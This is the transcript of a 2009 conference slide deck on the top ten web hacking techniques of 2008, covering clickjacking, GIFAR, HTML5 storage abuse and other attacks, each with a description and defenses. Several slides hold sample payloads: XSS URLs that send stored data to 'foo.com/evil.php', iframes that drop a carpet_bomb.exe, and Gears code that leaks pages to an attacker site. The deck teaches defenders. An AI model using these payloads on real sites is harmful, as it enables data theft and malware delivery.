top ten web hacking techniques – 2008

51
Top Ten Web Hacking Techniques – 2008 Jeremiah Grossman Founder & Chief Technology Officer WhiteHat Security

Upload: jeremiah-grossman

Post on 08-May-2015

3.092 views

Category:

Technology


2 download

DESCRIPTION

Many notable and new web hacking techniques, discoveries and compromises were uncovered in 2008. During his session, the top 10 vulnerabilities present in 2008, as well as some of the prevalent security issues emerging in 2009. Attendees will virtually be able to walk through the vulnerabilities appearing on today’s corporate websites, learning real-world solutions to today’s web application security issues. Moderator: Mike Stephenson, SC lab manager, SC Magazine - Jeremiah Grossman, founder and chief technology officer, WhiteHat Security

TRANSCRIPT

Page 1: Top Ten Web Hacking Techniques – 2008

Top Ten Web Hacking Techniques – 2008

Jeremiah Grossman

Founder & Chief Technology OfficerWhiteHat Security

Page 2: Top Ten Web Hacking Techniques – 2008

2© 2009 WhiteHat, Inc. | Page

Jeremiah GrossmanJeremiah Grossman

• WhiteHat Security Founder & CTO

• Technology R&D and industry evangelist(InfoWorld's CTO Top 25 for 2007)

• Frequent international conference speaker

• Co-founder of the Web Application Security Consortium

• Co-author: Cross-Site Scripting Attacks

• Former Yahoo! information security officer

Page 3: Top Ten Web Hacking Techniques – 2008

WhiteHat SecurityWhiteHat Security

3© 2009 WhiteHat, Inc. | Page

• 250+ enterprise customers •Start-ups to Fortune 500

• Flagship offering “WhiteHat Sentinel Service”•1000’s of assessments performed annually

• Recognized leader in website security•Quoted thousands of times by the mainstream press

Page 4: Top Ten Web Hacking Techniques – 2008

4© 2009 WhiteHat, Inc. | Page

MUST be able to protect against HOSTILE WEB PAGE

MUST be able to protect against HOSTILE WEB USER

Page 5: Top Ten Web Hacking Techniques – 2008

5© 2009 WhiteHat, Inc. | Page

2008’s New Web Hacking Techniques2008’s New Web Hacking Techniques

83 (2007)

70 (2008)70 (2008)

65 (2006)

http://jeremiahgrossman.blogspot.com/2009/02/top-ten-web-hacking-techniques-of-2008.html

5

Page 6: Top Ten Web Hacking Techniques – 2008

6© 2009 WhiteHat, Inc. | Page

CUPS DetectionCSRFing the uTorrent pluginClickjacking / VideojackingBypassing URL AuthC and AuthZ with HTTP Verb TamperingI used to know what you watched, on YouTubeSafari Carpet BombFlash clipboard HijackFlash Internet Explorer security model bugFrame Injection FunFree MacWorld Platinum Pass? Yes in 2008!Diminutive Worm, 161 byte Web WormSNMP XSS AttackRes Timing File Enumeration Without JavaScript in IE7.0Stealing Basic Auth with Persistent XSSSmuggling SMTP through open HTTP proxiesCollecting Lots of Free 'Micro-Deposits’Using your browser URL history to estimate genderCross-site File Upload AttacksSame Origin Bypassing Using Image DimensionsHTTP Proxies Bypass FirewallsJoin a Religion Via CSRFCross-domain leaks of site logins via Authenticated CSSJavaScript Global Namespace PollutionGIFARHTML/CSS Injections - Primitive Malicious CodeHacking Intranets Through Web InterfacesCookie Path TraversalRacing to downgrade users to cookie-less authenticationMySQL and SQL Column Truncation VulnerabilitiesBuilding Subversive File Sharing With Client Side ApplicationsFirefox XML injection into parse of remote XML

Firefox cross-domain information theft (simple text strings, some CSV)Firefox 2 and WebKit nightly cross-domain image theftBrowser's Ghost BustersExploiting XSS vulnerabilities on cookiesBreaking Google Gears' Cross-Origin Communication ModelFlash Parameter Injection Cross Environment HoppingExploiting Logged Out XSS VulnerabilitiesExploiting CSRF Protected XSSActiveX RepurposingTunneling tcp over http over sql-injectionArbitrary TCP over uploaded pagesLocal DoS on CUPS to a remote exploit via specially-crafted webpage JavaScript Code Flow ManipulationCommon localhost dns misconfiguration can lead to "same site" scriptingPulling system32 out over blind SQL InjectionDialog Spoofing - Firefox Basic AuthenticationSkype cross-zone scripting vulnerabilitySafari pwns Internet ExplorerIE "Print Table of Links" Cross-Zone Scripting VulnerabilityA different OperaAbusing HTML 5 Structured Client-side StorageSSID Script InjectionDHCP Script InjectionFile Download InjectionNavigation Hijacking (Frame/Tab Injection Attacks)UPnP Hacking via FlashTotal surveillance made easy with VoIP phoneSocial Networks Evil Twin AttacksRecursive File Include DoSMulti-pass filters bypassSession ExtendingCode Execution via XSSRedirector’s hellPersistent SQL InjectionJSON Hijacking with UTF-7SQL SmugglingAbusing PHP SocketsCSRF on Novell GroupWise WebAccess

Page 7: Top Ten Web Hacking Techniques – 2008

7© 2009 WhiteHat, Inc. | Page

10101010

http://blog.watchfire.com/wfblog/2008/10/flash-parameter.htmlhttp://blog.watchfire.com/FPI.pdf

By: Yuval Baror, Ayal Yogev, and Adi Sharabani

Flash Parameter Injection introduces a new way to inject values to global parameters in Flash movies while the movie is embedded in it's original HTML environment. These injected parameters can grant the attacker full control over the page DOM, as well as control over other objects within the Flash movie. This can lead to more elaborate attacks that take advantage of the interaction between the Flash movie and the HTML page in which it is embedded.

Flash Parameter Injection

Page 8: Top Ten Web Hacking Techniques – 2008

8© 2009 WhiteHat, Inc. | Page

How it worksHow it works

There are several different FPI variants. Most of the variants include tricking the server into sending back a page where user input is interpreted as Flash parameters. This allows an attacker to inject malicious global parameters to the Flash movie and exploit Flash specific vulnerabilities.

ActionScript 2 code reading a global variable

Page 9: Top Ten Web Hacking Techniques – 2008

9© 2009 WhiteHat, Inc. | Page

Passing arguments in an embedded URI

Passing arguments using 'flashvars'

DOM-based Flash parameter injection

Page 10: Top Ten Web Hacking Techniques – 2008

10© 2009 WhiteHat, Inc. | Page

Persistent Flash Parameter Injection

Page 11: Top Ten Web Hacking Techniques – 2008

11© 2009 WhiteHat, Inc. | Page

DefensesDefenses

User input must be sanitized according to context before reflected back to the user. Extreme caution should be taken when saving user input in Flash cookies.

Page 12: Top Ten Web Hacking Techniques – 2008

12© 2009 WhiteHat, Inc. | Page

9999

http://carnal0wnage.blogspot.com/2008/08/owning-client-without-and-exploit.htmlhttp://www.sensepost.com/blog/2237.htmlhttp://www.networkworld.com/news/2008/080708-black-hat-ssl-vpn-security.html

By: Haroon Meer

Multi-staged attack to get code execution on victims who were running a vulnerable and popular SSL-VPN ActiveX control.

ActiveX Repurposing

Page 13: Top Ten Web Hacking Techniques – 2008

13© 2009 WhiteHat, Inc. | Page

How it worksHow it works

Page 14: Top Ten Web Hacking Techniques – 2008

14© 2009 WhiteHat, Inc. | Page

1. Client with control visits malicious page2. Page instantiates control and offers an upgrade3. New-config.txt downloads to c:\predictable_location\new-config.txt4. Malicious page re-instantiates control with ini file == c:\predictable_location\new- config.txt [new-config contains arbitrary commands as uninstall string]5. Exectute the controls uninstall method: 6.The victims machine fires calc.exe &&.

Page 15: Top Ten Web Hacking Techniques – 2008

DefensesDefenses

Website:

ActiveX should make use of Sitelock wherever possible.

Web Browser:

Restrict ActiveX to the maximum degree possible.

15© 2009 WhiteHat, Inc. | Page

Page 16: Top Ten Web Hacking Techniques – 2008

Tunneling TCP over HTTP over SQL-InjectionTunneling TCP over HTTP over SQL-Injection

16© 2009 WhiteHat, Inc. | Page

8888

http://www.sensepost.com/research/reDuh/SensePost_2008.tgz

By: Glenn Willinson, Marco Slaviero and Haroon Meer

Create a TCP circuit through reDuh over squeeza by building the server component within SQL Servers CLR subsystem.

Page 17: Top Ten Web Hacking Techniques – 2008

17© 2009 WhiteHat, Inc. | Page

Page 18: Top Ten Web Hacking Techniques – 2008

18© 2009 WhiteHat, Inc. | Page

Page 19: Top Ten Web Hacking Techniques – 2008

DefensesDefenses

Good network architecture, solid application design, database hardening.

19© 2009 WhiteHat, Inc. | Page

Page 20: Top Ten Web Hacking Techniques – 2008

Cross-domain leaks of site logins via Authenticated CSSCross-domain leaks of site logins via Authenticated CSS

20© 2009 WhiteHat, Inc. | Page

7777

http://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html

By: Chris Evans and Michal Zalewski

Checks the contents of a style sheet property value across domains. The most reliable technique to determine whether the victim is logged-in to a given website or not.

Page 21: Top Ten Web Hacking Techniques – 2008

How it worksHow it works

Perform a cross-domain load of a stylesheet and then reading property values using standard Javascript APIs. What makes it work on so many sites is that browsers will load inline style definitions from HTML documents. In addition, stylesheet properties differ wildly depending on whether a user is logged in or not.

<html><head>

<link rel="stylesheet" href="http://home.myspace.com/index.cfm?fuseaction=user"/>

<script>

function func() {

var ele = document.getElementById('blah');

alert(window.getComputedStyle(ele, null).getPropertyValue('margin-bottom'));

}

</script></head>

<body onload="func()">

<div id="blah" class="show">

</body>

</html>

21© 2009 WhiteHat, Inc. | Page

Page 22: Top Ten Web Hacking Techniques – 2008

22© 2009 WhiteHat, Inc. | Page

DefensesDefenses

As a Web application, do not store anything sensitive (such as user-identifying customizations) in stylesheet properties. If you must, make sure to store the properties in their own CSS file and ensure the URL of that file unguessable to attackers for a given victim user.

Page 23: Top Ten Web Hacking Techniques – 2008

Abusing HTML 5 Structured Client-side StorageAbusing HTML 5 Structured Client-side Storage

23© 2009 WhiteHat, Inc. | Page

6666

http://trivero.secdiscover.com/html5whitepaper.pdf

By: Alberto Trivero

HTML5 has introduced three new powerful ways to save big amount of data on the client's PC through the browser. Attackers could steal or modify sensitive data online or offline. If a web application which uses this kind of client-side storage is vulnerable to XSS (Cross- site scripting) attacks we can use an attack payload to read or modify the content of known storage keys (session storage, global storage, local storage or database storage) on the computer’s victim. If the web application loads data or code from the local storage, could be also quite powerful to inject malicious code that will be executed every time the web application will request it.

Page 24: Top Ten Web Hacking Techniques – 2008

24© 2009 WhiteHat, Inc. | Page

How it worksHow it works

Storage Object Enumeration

var ss = "";

for(i in window.sessionStorage) {

ss += i + " ";

}

var ls = "";

for(i = 0; i < localStorage.length; i++) {

ls += localStorage.key(i) + " ";

}

Database Object Enumeration

var db = "";

for(i in window) {

if(window[i] == “[object Database]”) {

db += i + “ “;

}

}

Page 25: Top Ten Web Hacking Techniques – 2008

25© 2009 WhiteHat, Inc. | Page

Extracting Database Metadata

SELECT name FROM sqlite_master WHERE type='table'

SELECT sql FROM sqlite_master WHERE name='table_name'

SELECT sqlite_version()

Page 26: Top Ten Web Hacking Techniques – 2008

26© 2009 WhiteHat, Inc. | Page

One Shot Attack

http://example.com/page.php?name=<script>document.write('<img src="http://foo.com/

evil.php?name=' %2B globalStorage[location.hostname].mykey %2B '">');</script>

http://example.com/page.php?name=<script>db.transaction(function (tx) { tx.executeSql ("SELECT * FROM client_tb", [], function(tx, result){ document.write('<img src="http://

foo.com/evil.php?name=' %2B result.rows.item(0)['col_data'] %2B '">'); }); });</script>

Page 27: Top Ten Web Hacking Techniques – 2008

27© 2009 WhiteHat, Inc. | Page

http://example.com/page.php?name=<script src=http://foo.com/evil.js></script>

Page 28: Top Ten Web Hacking Techniques – 2008

28© 2009 WhiteHat, Inc. | Page

DefensesDefenses

Website: Avoid saving sensitive data on the users machine and clear the client-side storage whenever possible.

Web Browser: Web users should check regularly the content of the HTML5 client-side storage saved by their browser (delete?).

LSO Storage Locations: Windows XP$user\Application Data\Macromedia\

Flash Player\#SharedObjectsWindows Vista$user\AppData\Roaming\

Macromedia\Flash Player\#SharedObjectsMac OS X ~/Library/Preferences/Macromedia/Flash Player/#SharedObjectsLinux /home/$user/.macromedia/Flash_Player/#SharedObjects

Page 29: Top Ten Web Hacking Techniques – 2008

A Different OperaA Different Opera

29© 2009 WhiteHat, Inc. | Page

5555

http://www.wisec.it/sectou.php?id=49102ef18b7f3http://aviv.raffon.net/2008/10/30/ADifferentOpera.aspxhttp://seclists.org/fulldisclosure/2008/Oct/0401.html

By: Stefano Di Paola

Exploit an XSS in Opera:feature scheme leading to code execution by abusing same origin policy.

Page 30: Top Ten Web Hacking Techniques – 2008

30© 2009 WhiteHat, Inc. | Page

How it worksHow it works

1) CSRF a user from evilhost to opera:historysearchPre-existing XSS in opera:historysearch leads to writing in opera:* context.

SOP matching is evaluated by comparing

       scheme1 + host1 + port1 == scheme2 + host2 + port2

opera:* considered as:

       opera + null + null

2) Inject IFRAME to opera:config change the email client to arbitrary command

3) Open a window pointing to a "mailto" scheme.

Page 31: Top Ten Web Hacking Techniques – 2008

31© 2009 WhiteHat, Inc. | Page

DefensesDefenses

Upgrade to Opera  => 9.62

Page 32: Top Ten Web Hacking Techniques – 2008

Clickjacking / VideojackingClickjacking / Videojacking

32© 2009 WhiteHat, Inc. | Page

4444

http://www.sectheory.com/clickjacking.htmhttp://jeremiahgrossman.blogspot.com/2008/10/clickjacking-web-pages-can-see-and-hear.htmlhttp://blogs.adobe.com/psirt/2008/10/clickjacking_security_advisory.html

By: Jeremiah Grossman and Robert Hansen

Think of any button – image, link, form, etc. – on any website – that can appear between the Web browser walls. This includes wire transfer on banks, DSL router buttons, Digg buttons, CPC advertising banners, Netflix queue.  Next consider that an attacker can invisibly hover these buttons below the user's mouse, so that when a user clicks on something they visually see, they're actually clicking on something the attacker wants them to.

Page 33: Top Ten Web Hacking Techniques – 2008

33© 2009 WhiteHat, Inc. | Page

Page 34: Top Ten Web Hacking Techniques – 2008

34© 2009 WhiteHat, Inc. | Page

Hover Invisible IFRAMEsHover Invisible IFRAMEs

<iframe src="http://victim/page.html" scrolling="no"frameborder="0" style="opacity:.1;filter: alpha(opacity=.1); -moz-opacity:1.0;"> </iframe>

HTML, CSS, and JavaScript may size, follow the mouse and make transparent third-party IFRAME content.

Page 35: Top Ten Web Hacking Techniques – 2008

35© 2009 WhiteHat, Inc. | Page

HTML, CSS, and JavaScript may size, follow the mouse and make transparent third-party IFRAME content.

Page 36: Top Ten Web Hacking Techniques – 2008

36© 2009 WhiteHat, Inc. | Page

What if a Web page could See and Hear you?What if a Web page could See and Hear you?

Clickjacking enables corporate espionage, government surveillance, home user spying, etc. Every computer with a webcam and/or a microphone becomes a remote monitoring device.

JavaScript can’t access the webcam or microphone...

Page 37: Top Ten Web Hacking Techniques – 2008

37© 2009 WhiteHat, Inc. | Page

<div style="opacity:.1;filter: alpha(opacity=.1); -moz-opacity:.9"><embed src="vid.swf" type="application/x-shockwave-flash" allowfullscreen="false" wmode="transparent"></embed></div>

Page 38: Top Ten Web Hacking Techniques – 2008

38© 2009 WhiteHat, Inc. | Page

DefensesDefenses

Frame-busting code<script>if (window.top !== window.self) { setTimeout(function()

{document.body.innerHTML='';},1);window.self.onload=function(evt)

{document.body.innerHTML='';};}

</script>

/* IE 8 Only */

X-FRAME-OPTIONS: (DENY | SAMEORIGIN)

• Upgrade to Flash Player 10

• NoScript w/ ClearClick

Page 39: Top Ten Web Hacking Techniques – 2008

Safari Carpet BombSafari Carpet Bomb

39© 2009 WhiteHat, Inc. | Page

http://www.dhanjani.com/blog/2008/05/safari-carpet-b.htmlhttp://www.oreillynet.com/onlamp/blog/2008/05/safari_carpet_bomb.htmlhttp://aviv.raffon.net/2008/05/31/SafariPwnsInternetExplorer.aspx

By: Nitesh Dhanjani

The Safari Carpet Bomb attack allows a malicious website controlled by an attacker to litter the user's desktop on windows or the user's “Downloads” directory on OSX with arbitrary files and malware. This vulnerability has the distinction of bringing the term "blended threat" into the security vernacular because, if you are able to litter user's machines with arbitrary files, you can further the impact and affect other applications that trust content on the local filesystem.

3333

Page 40: Top Ten Web Hacking Techniques – 2008

40© 2009 WhiteHat, Inc. | Page

How it worksHow it works

When the Safari browser is served a file with a content-type that cannot be rendered by the browser, it automatically downloads it do the default download location (desktop on Windows, Downloads directory on OSX) without notifying or asking the user. This allows a malicious website to litter the user's Desktop or download directory with arbitrary files, including malware.

<HTML>

<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.exe"></iframe>

<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.exe"></iframe>

<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.exe"></iframe>

...

...

<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.exe"></iframe>

</HTML>

Page 41: Top Ten Web Hacking Techniques – 2008

41© 2009 WhiteHat, Inc. | Page

Page 42: Top Ten Web Hacking Techniques – 2008

42© 2009 WhiteHat, Inc. | Page

DefensesDefenses

Windows:

Download the latest version of Safari

OS X:

Versions of Safari remain un-patched by Apple.

Page 43: Top Ten Web Hacking Techniques – 2008

Breaking Google Gears' Cross-Origin Communication ModelBreaking Google Gears' Cross-Origin Communication Model

43© 2009 WhiteHat, Inc. | Page

2222

http://blog.watchfire.com/wfblog/2008/12/breaking-google-gears-cross-origin-communication-model.html

By: Yair Amit

Under some circumstances the cross-origin communication security model of Google Gears could be bypassed. An attacker could gain access to sensitive resources of the victim in other websites (even those that does not use Google Gears) - mainly ones that contain users' content (forums, web-mails, social networks, office-like services, etc.).

Page 44: Top Ten Web Hacking Techniques – 2008

44© 2009 WhiteHat, Inc. | Page

Google Gears WorkersGoogle Gears Workers

var wp = google.gears.workerPool;

wp.allowCrossOrigin();

wp.onmessage = function(a, b, message) {

var request = google.gears.factory.create('beta.httprequest');

request.open('GET', 'http://TARGET.SITE/SENSITIVE_PAGE.htm');

request.onreadystatechange = function() {

if (request.readyState == 4) {

wp.sendMessage("The response was: " + request.responseText, message.sender);

}

};

request.send();

}

Page 45: Top Ten Web Hacking Techniques – 2008

45© 2009 WhiteHat, Inc. | Page

Attack FlowAttack Flow

 1. Attacker creates a text file that contains (malicious) Google Gears commands (Accessing the DB, using the HttpRequest module, etc.).

2. Attacker finds a way to put the text content into a target domain (http://TARGET.SITE/Upload/innocent.jpg). The Gears "worker" code does not contain suspicious characters (<,>, etc...), it is therefore less likely to be filtered by http://TARGET.SITE's server-side logic.

3. Attacker creates http://ATTACKER.SITE/attack.html which contains some Google Gears code that loads and executes http://TARGET.SITE/Upload/innocent.jpg

4. The code embedded in innocent.jpg runs in the context of http://TARGET.SITE. It therefore has permissions to access Google Gears client-side objects such as the DB, the local server data or web resources (with the victim's credentials) using the HttpRequest module built into Google Gears.

5. All information collected in the previous phase can easily be leaked back to http://ATTACKER.SITE using Google Gears' standard messaging mechanism.

Page 46: Top Ten Web Hacking Techniques – 2008

46© 2009 WhiteHat, Inc. | Page

DefensesDefenses

Update Google Gears. (Content-Type header value (application/x-gears-worker)

Web developers who rely on Google Gears should be aware that the fix might require some changes, such as creating a special rule in the Web server for serving Google-Gears worker code files.

Page 47: Top Ten Web Hacking Techniques – 2008

47

Top Ten Web Hacking Techniques (008)

© 2009 WhiteHat, Inc. | Page 47

Page 48: Top Ten Web Hacking Techniques – 2008

GIFARGIFAR

48© 2009 WhiteHat, Inc. | Page

1111

http://riosec.com/how-to-create-a-gifarhttp://xs-sniper.com/blog/2008/12/17/sun-fixes-gifars/http://blogs.zdnet.com/security/?p=1619

By: Billy Rios, Nathan McFeters, Rob Carter, and John Heasman

A content ownership issue taking advantage of flimsy security controls on both the server side and the client side.  What's new is appending a Java Applet (in the form of a JAR) at the end of another file that would be commonly allowed in file uploads on web applications, such as images, word documents, audio/video files, just about anything.  

Page 49: Top Ten Web Hacking Techniques – 2008

49© 2009 WhiteHat, Inc. | Page

How it worksHow it works

JAR

GIF

Page 50: Top Ten Web Hacking Techniques – 2008

50© 2009 WhiteHat, Inc. | Page

DefensesDefenses

Website: Do not accept file uploads Host uploaded content on throw away domains or IP addresses Convert all content

Web Browser:a) Disable third-party browser extensionsb) Install the latest JVM and remove older versions

Page 51: Top Ten Web Hacking Techniques – 2008

Thank YouThank You

Jeremiah Grossman

Blog: http://jeremiahgrossman.blogspot.com/

Twitter: http://twitter.com/jeremiahg

Email: [email protected]

WhiteHat Security

http://www.whitehatsec.com/